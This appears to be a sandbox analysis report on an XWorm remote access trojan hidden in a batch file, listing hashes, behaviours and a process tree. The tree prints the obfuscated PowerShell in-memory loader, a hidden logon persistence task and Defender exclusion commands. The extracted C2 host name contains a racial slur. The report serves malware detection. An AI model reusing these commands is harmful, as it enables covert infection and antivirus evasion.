xworm | 93ae0ded8e229de092b27587159e255496e62680285077c17f501b3d1770965e

Analysis

max time kernel
30s
max time network
31s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
24-01-2025 15:05

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General

Target

EspoofferFixed.bat
Size

265KB
MD5

f1de9472d7d6f32316659e4fa2296a82
SHA1

51841c6da4684262484d072da2ee35d35892e657
SHA256

93ae0ded8e229de092b27587159e255496e62680285077c17f501b3d1770965e
SHA512

3843dfbe878b9a608f532dbbe9b56e722e21598cf99f2819ed3876b7fe27af7d319fa18ca5060bff219bf039703e53e79bd3186e7acdfa833f1e2e5378807fbb
SSDEEP

6144:WWrN/c6ctnMWD0qABdaTK2tJ75HsTD6MIy:WWxk6eMI0qABdG1tp5MTDvT

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Mutex

GgTsuAV3pXf6aU6z

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4572-52-0x0000025C68230000-0x0000025C68240000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 13 IoCs

flow	pid	Process
17	4572	powershell.exe
26	4572	powershell.exe
28	4572	powershell.exe
29	4572	powershell.exe
32	4572	powershell.exe
33	4572	powershell.exe
34	4572	powershell.exe
35	4572	powershell.exe
36	4572	powershell.exe
37	4572	powershell.exe
38	4572	powershell.exe
39	4572	powershell.exe
40	4572	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1852	powershell.exe
4384	powershell.exe
4460	powershell.exe
4572	powershell.exe
2016	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3406519639-3774642266-3926631722-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3406519639-3774642266-3926631722-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2016	powershell.exe
2016	powershell.exe
4460	powershell.exe
4460	powershell.exe
4572	powershell.exe
4572	powershell.exe
1852	powershell.exe
1852	powershell.exe
4384	powershell.exe
4384	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeIncreaseQuotaPrivilege	4460	powershell.exe
Token: SeSecurityPrivilege	4460	powershell.exe
Token: SeTakeOwnershipPrivilege	4460	powershell.exe
Token: SeLoadDriverPrivilege	4460	powershell.exe
Token: SeSystemProfilePrivilege	4460	powershell.exe
Token: SeSystemtimePrivilege	4460	powershell.exe
Token: SeProfSingleProcessPrivilege	4460	powershell.exe
Token: SeIncBasePriorityPrivilege	4460	powershell.exe
Token: SeCreatePagefilePrivilege	4460	powershell.exe
Token: SeBackupPrivilege	4460	powershell.exe
Token: SeRestorePrivilege	4460	powershell.exe
Token: SeShutdownPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeSystemEnvironmentPrivilege	4460	powershell.exe
Token: SeRemoteShutdownPrivilege	4460	powershell.exe
Token: SeUndockPrivilege	4460	powershell.exe
Token: SeManageVolumePrivilege	4460	powershell.exe
Token: 33	4460	powershell.exe
Token: 34	4460	powershell.exe
Token: 35	4460	powershell.exe
Token: 36	4460	powershell.exe
Token: SeIncreaseQuotaPrivilege	4460	powershell.exe
Token: SeSecurityPrivilege	4460	powershell.exe
Token: SeTakeOwnershipPrivilege	4460	powershell.exe
Token: SeLoadDriverPrivilege	4460	powershell.exe
Token: SeSystemProfilePrivilege	4460	powershell.exe
Token: SeSystemtimePrivilege	4460	powershell.exe
Token: SeProfSingleProcessPrivilege	4460	powershell.exe
Token: SeIncBasePriorityPrivilege	4460	powershell.exe
Token: SeCreatePagefilePrivilege	4460	powershell.exe
Token: SeBackupPrivilege	4460	powershell.exe
Token: SeRestorePrivilege	4460	powershell.exe
Token: SeShutdownPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeSystemEnvironmentPrivilege	4460	powershell.exe
Token: SeRemoteShutdownPrivilege	4460	powershell.exe
Token: SeUndockPrivilege	4460	powershell.exe
Token: SeManageVolumePrivilege	4460	powershell.exe
Token: 33	4460	powershell.exe
Token: 34	4460	powershell.exe
Token: 35	4460	powershell.exe
Token: 36	4460	powershell.exe
Token: SeIncreaseQuotaPrivilege	4460	powershell.exe
Token: SeSecurityPrivilege	4460	powershell.exe
Token: SeTakeOwnershipPrivilege	4460	powershell.exe
Token: SeLoadDriverPrivilege	4460	powershell.exe
Token: SeSystemProfilePrivilege	4460	powershell.exe
Token: SeSystemtimePrivilege	4460	powershell.exe
Token: SeProfSingleProcessPrivilege	4460	powershell.exe
Token: SeIncBasePriorityPrivilege	4460	powershell.exe
Token: SeCreatePagefilePrivilege	4460	powershell.exe
Token: SeBackupPrivilege	4460	powershell.exe
Token: SeRestorePrivilege	4460	powershell.exe
Token: SeShutdownPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeSystemEnvironmentPrivilege	4460	powershell.exe
Token: SeRemoteShutdownPrivilege	4460	powershell.exe
Token: SeUndockPrivilege	4460	powershell.exe
Token: SeManageVolumePrivilege	4460	powershell.exe
Token: 33	4460	powershell.exe
Token: 34	4460	powershell.exe
Token: 35	4460	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 4776	4756	cmd.exe	82
PID 4756 wrote to memory of 4776	4756	cmd.exe	82
PID 4776 wrote to memory of 732	4776	net.exe	83
PID 4776 wrote to memory of 732	4776	net.exe	83
PID 4756 wrote to memory of 2016	4756	cmd.exe	85
PID 4756 wrote to memory of 2016	4756	cmd.exe	85
PID 2016 wrote to memory of 4460	2016	powershell.exe	88
PID 2016 wrote to memory of 4460	2016	powershell.exe	88
PID 2016 wrote to memory of 3956	2016	powershell.exe	92
PID 2016 wrote to memory of 3956	2016	powershell.exe	92
PID 3956 wrote to memory of 4540	3956	WScript.exe	93
PID 3956 wrote to memory of 4540	3956	WScript.exe	93
PID 4540 wrote to memory of 2092	4540	cmd.exe	95
PID 4540 wrote to memory of 2092	4540	cmd.exe	95
PID 2092 wrote to memory of 4560	2092	net.exe	96
PID 2092 wrote to memory of 4560	2092	net.exe	96
PID 4540 wrote to memory of 4572	4540	cmd.exe	97
PID 4540 wrote to memory of 4572	4540	cmd.exe	97
PID 4572 wrote to memory of 1852	4572	powershell.exe	100
PID 4572 wrote to memory of 1852	4572	powershell.exe	100
PID 4572 wrote to memory of 4384	4572	powershell.exe	103
PID 4572 wrote to memory of 4384	4572	powershell.exe	103

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EspoofferFixed.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wLrE+qZ3Xmb1zRUrkcWeW//O4uGSrww2AIZjU1qcZ1M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Isa0lxAj1YDm9hQlNF0k8w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EvWzi=New-Object System.IO.MemoryStream(,$param_var); $ERwMq=New-Object System.IO.MemoryStream; $sLxmF=New-Object System.IO.Compression.GZipStream($EvWzi, [IO.Compression.CompressionMode]::Decompress); $sLxmF.CopyTo($ERwMq); $sLxmF.Dispose(); $EvWzi.Dispose(); $ERwMq.Dispose(); $ERwMq.ToArray();}function execute_function($param_var,$param2_var){ $Vqmmk=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xJlAD=$Vqmmk.EntryPoint; $xJlAD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EspoofferFixed.bat';$mErfi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EspoofferFixed.bat').Split([Environment]::NewLine);foreach ($VfPZz in $mErfi) { if ($VfPZz.StartsWith(':: ')) { $VoYRl=$VfPZz.Substring(3); break; }}$payloads_var=[string[]]$VoYRl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_974_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_974.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4460
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_974.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_974.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4540
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2092
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:4560
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wLrE+qZ3Xmb1zRUrkcWeW//O4uGSrww2AIZjU1qcZ1M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Isa0lxAj1YDm9hQlNF0k8w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EvWzi=New-Object System.IO.MemoryStream(,$param_var); $ERwMq=New-Object System.IO.MemoryStream; $sLxmF=New-Object System.IO.Compression.GZipStream($EvWzi, [IO.Compression.CompressionMode]::Decompress); $sLxmF.CopyTo($ERwMq); $sLxmF.Dispose(); $EvWzi.Dispose(); $ERwMq.Dispose(); $ERwMq.ToArray();}function execute_function($param_var,$param2_var){ $Vqmmk=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xJlAD=$Vqmmk.EntryPoint; $xJlAD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_974.bat';$mErfi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_974.bat').Split([Environment]::NewLine);foreach ($VfPZz in $mErfi) { if ($VfPZz.StartsWith(':: ')) { $VoYRl=$VfPZz.Substring(3); break; }}$payloads_var=[string[]]$VoYRl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4572
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1852
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1d4c7180b9c9cac3416413caa6769745

SHA1
e5fdaf2ede2948d19dc3c0dbf617f44e56b8fac8

SHA256
998faea84323eabb01efc0c20b3e3b99dc8cfb71cb4eae3be21f957cf36c63e5

SHA512
31e84cae767028757cf77d69b74e2045af246614518ab4f5ebe788ac38e0e941b2050075aa43253b6111842b89dc669a3a3e3bf671d422121a9f0f8ade688af9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
60b3262c3163ee3d466199160b9ed07d

SHA1
994ece4ea4e61de0be2fdd580f87e3415f9e1ff6

SHA256
e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb

SHA512
081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wbguqv2o.na4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_974.vbs

Filesize
115B

MD5
d9d582490583700435199da1f4775768

SHA1
1a51cafedeee86a17a111026202fe623f00533d9

SHA256
4a17099bc2c3bac8c266b30dd470d4129562d1bd6dea2fcc9ca5b21e24c94ae7

SHA512
209d585ebe25056f109876431c6eaf93551f43aa4a69eea76efef813387db813cb2e6367f6ee5141f77e0db03e916c9afada3d34562b1eab56c358c231f52f77

Download Submit
memory/2016-12-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

Filesize
10.8MB

Download
memory/2016-51-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

Filesize
10.8MB

Download
memory/2016-15-0x000001D3C82B0000-0x000001D3C82E4000-memory.dmp

Filesize
208KB

Download
memory/2016-10-0x000001D3C7640000-0x000001D3C7662000-memory.dmp

Filesize
136KB

Download
memory/2016-14-0x000001D3C7630000-0x000001D3C7638000-memory.dmp

Filesize
32KB

Download
memory/2016-11-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

Filesize
10.8MB

Download
memory/2016-0-0x00007FF8C9403000-0x00007FF8C9405000-memory.dmp

Filesize
8KB

Download
memory/2016-13-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

Filesize
10.8MB

Download
memory/4460-31-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

Filesize
10.8MB

Download
memory/4460-28-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

Filesize
10.8MB

Download
memory/4460-27-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

Filesize
10.8MB

Download
memory/4460-26-0x00007FF8C9400000-0x00007FF8C9EC2000-memory.dmp

Filesize
10.8MB

Download
memory/4572-52-0x0000025C68230000-0x0000025C68240000-memory.dmp

Filesize
64KB

Download
memory/4572-74-0x0000025C685F0000-0x0000025C685FC000-memory.dmp

Filesize
48KB

Download